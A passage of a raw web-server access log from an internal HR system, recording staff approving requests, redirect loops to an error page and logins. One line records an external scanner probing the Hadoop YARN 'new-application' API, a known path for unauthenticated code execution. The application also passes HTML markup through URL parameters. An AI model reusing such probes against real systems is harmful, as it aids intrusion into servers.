/eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132716%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132716&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:15:05:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132716%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132716&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:15:05:36 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:15:05:36 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:15:05:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132717%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132717&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:15:05:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132717%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132717&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:15:05:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:15:05:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:15:05:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:15:05:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:15:05:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:15:05:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:15:05:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:15:05:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:15:05:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:15:05:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:15:05:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:15:05:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:15:05:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:15:05:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:15:05:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:15:05:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:15:05:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:15:05:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:15:05:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:15:05:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:15:05:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:15:05:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:15:05:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:15:05:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:15:05:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:15:05:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:15:05:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:15:05:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:15:05:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:15:05:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:15:05:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:15:05:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:15:05:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:15:05:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [03/Dec/2025:15:05:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [03/Dec/2025:15:05:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 100.64.0.1 - - [03/Dec/2025:15:16:30 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [03/Dec/2025:15:16:30 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "Go-http-client/1.1" 100.64.0.1 - - [03/Dec/2025:15:31:04 +0800] "GET /robots.txt HTTP/1.1" 404 208 100.64.0.1 - - [03/Dec/2025:15:31:04 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 100.64.0.1 - - [03/Dec/2025:15:31:09 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/koi8-u.so HTTP/1.1" 200 24669 100.64.0.1 - - [03/Dec/2025:15:31:09 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/koi8-u.so HTTP/1.1" 200 24669 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 100.64.0.1 - - [03/Dec/2025:15:37:53 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" 100.64.0.1 - - [03/Dec/2025:15:37:53 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:15:38:20 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [03/Dec/2025:15:38:20 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:15:45:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:15:45:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 302 - 192.168.139.16 - - [03/Dec/2025:15:45:19 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:15:45:19 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.139.16 - - [03/Dec/2025:15:45:20 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:15:45:20 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.139.16 - - [03/Dec/2025:15:45:28 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:15:45:28 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.139.16 - - [03/Dec/2025:15:45:29 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:15:45:29 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 192.168.139.16 - - [03/Dec/2025:15:45:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:15:45:31 +0800] "GET 